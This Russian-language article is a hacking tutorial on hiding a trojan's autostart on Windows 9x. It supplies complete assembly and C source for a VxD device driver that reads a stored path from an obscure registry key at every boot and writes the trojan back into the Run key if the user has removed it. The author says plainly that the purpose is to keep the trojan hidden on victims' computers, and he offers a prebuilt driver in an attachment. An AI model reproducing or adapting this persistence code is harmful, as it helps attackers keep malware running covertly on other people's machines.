Как сделать так,чтобы ваша программа загружалась всегда


В этой статье я расскажу и покажу на примере как можно замаскировать вашего троянца так,что не один не далёкий пользователь компьютера не сможет найти то место в системе,откуда он запускается.

И так преступим.Как известно большинство троянцев прописывает себя в реестре,в разделе автозагрузки(HKLM\Software\Microsoft\Windows\CurrentVersion\Run).Но в наше время это уже не является надёжным методом запуска троянца.Как же быть в такой ситуации?Выход напрашивается сам собой,нужно сделать такой метод загрузки,который ещё не известен пользователям ,да и который не бросался бы в глаза.Одним из таких способов является написание некой программы(читай драйвера),который бы ,например, прописывал нашего троянца в реестре каждый раз при загрузке.Такой программой является драйвер устройства в Windows.Я рассмотрю драйвер только для Win9x ввиду того ,что большинство пользователей в настоящее время использует системы именно этого класса.И так в чём же весь смысл.А вот в чём :прописав драйвер один раз в реестре,при установке троянца на компьютер жертвы,(в специальном месте,о котором и не каждый-то продвинутый пользователь знает,не говоря уже о рядовом) мы обеспечим запуск нашего троянца каждый раз после перезагрузки системы(точнее мы просто будем прописывать его в ключе авто запуска в реестре).И так вот исходные текста нашего драйвера.

ctrlddb.asm

    .386p

;******************************************************************************
;                I N C L U D E S
;******************************************************************************

WIN40COMPAT equ 1
    include vmm.inc

;============================================================================
;        V I R T U A L   D E V I C E   D E C L A R A T I O N
;============================================================================
DECLARE_VIRTUAL_DEVICE    CTRL, 1, 0, ControlProc, UNDEFINED_DEVICE_ID, \
                        UNDEFINED_INIT_ORDER

VxD_LOCKED_CODE_SEG

;===========================================================================
;
;   PROCEDURE: ControlProc
;
;   DESCRIPTION:
;    Device control procedure for the CTRL VxD
;
;   ENTRY:
;    EAX = Control call ID
;
;   EXIT:
;    If carry clear then
;        Successful
;    else
;        Control call failed
;
;   USES:
;    EAX, EBX, ECX, EDX, ESI, EDI, Flags
;
;============================================================================

BeginProc ControlProc
    Control_Dispatch SYS_VM_INIT, _OnSysVMInit, cCall,
    clc
    ret

EndProc ControlProc
VxD_LOCKED_CODE_ENDS
    END

ctrl.c

#define WIN40COMAPT
#include
#undef WANTVXDWRAPS
#include
#include
#include "config.h"
BOOL OnSysVMInit(DWORD vh)
{
 VMMHKEY key;
 char  data[MAXPATH];
 ULONG datasize;
 ULONG i;
 if (VMM_RegCreateKey(HKEY_LOCAL_MACHINE ,VXDDATAPATH,&key)!=ERROR_SUCCESS)
     return TRUE;
 for (i=0;i     data[i]=0;
 datasize=MAXPATH;
 if (VMM_RegQueryValueEx(key,VALUENAME,NULL,NULL,&data,&datasize)!=ERROR_SUCCESS)
 {
      VMM_RegCloseKey(key);
      return TRUE;
 }
 VMM_RegCloseKey(key);
 if (VMM_RegCreateKey(HKEY_LOCAL_MACHINE ,AUTORUNPATH,&key)!=ERROR_SUCCESS)
      return TRUE;
 if (VMM_RegSetValueEx(key,APPNAME,NULL,REG_SZ,&data,datasize)!=ERROR_SUCCESS)
 {
   // No Freeing needed
 }
 VMM_RegCloseKey(key); 
  return TRUE;
}

config.h

#define APPNAME "MyTroyan"
#define VXDDATAPATH "System\\CurrentControlSet\\Services\\VxD\\forceloader"
#define VALUENAME "LoaderData"
#define MAXPATH 256
#define AUTORUNPATH "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
 

Остальные файлы необхадимые для зборки вы можете найти в прилогающемся архиве,в прочем как и уже готовый драйвер.Итак рассмотрим по-подробнее зачем ,что нужно.Файл ctrlddb.asm это всего лишь декларация нашего драйвера через макросы(доступны только для ассемблера),он отвечает всего на одно событие-SysVMInit,это событие посылается всем драйверам ,которые его обрабатывают,когда системная виртуальная машина(в ней работают все Win32 приложения)готова к работе,в это время нам доступен и реестер и всё остальное.Именно в этот момент мы и прописываем нашего троянца в реестер(если пользователь удалил на него ссылку),Строка        "#define WIN40COMPAT" говорит компилятору ,что наш драйвер должен быть совместим с Windows95,так как в WIndows98 есть дополнительны сервисы,которых нет в 95.Далее идут необходимые команды подключения заголовков и затем функция,которая реагирует на событие(SysVMInit),в этой функции и делается вся работа.Как вы наверное уже заметили имена всех функций начинаются с VMM_ ,на самом деле это вызовы соответствующих сервисов менеджера виртуальных машин,но для нас это не важно.Синтсксис у этих функций такой же как и у соответствующих функций из Win32 API так,что останавливаться на нём не будем,разберём лучше ,что какая сторка  делает. В начале идёт декларация переменных,затем с помощью VMM_RegCreateKey мы открываем подключ в ключе HKEY_LOCAL_MACHINE (может быть любой другой например HKEY_CURRENT_USER)VXDDATAPATH -это адресс подключа где находиться строка ,которую драйверу необходимо прописать в реестре. Далее с помощью VMM_RegQueryValueEx мы читаем переменную из этого ключа с именем VALUENAME (предполагается,что это строкавой параметр,и проверка на это не делается),затем мы закрываем ключ и открываем ключ куда нужно записать то,что му прочитали(имя этого подключа определено в AUTORUNPATH) .Далее мы просто вписываем ранее прочитаное значение в переменную определённую в APPNAME и закрываем ключ.Всё наш троянец в реестре(в AUTORUNPATH появится строка вида "MyTroyan c:\windows\system\troyan.exe" ,где MyTroyan это имя переменной).Обратите внимание,что при любой ошибке функция всёравно возвращает TRUE ,это нужно делать потому,что если мы вернём FALSE система подумает ,что что-то нетак и перезагрузит машину.

Ну вот в принципе и всё,что я хотел рассказать.По всем вопросам и замечанием можете писать мне .

И в заключении традиционно:За использование материала изложенного в данной статье автор ответственности не несёт,используйте на свой страх и риск.

Архив с иходниками прилагаю,вот он.

P.S.:Собрать исходники можно установив Windows98 DDK(Device Development Kit).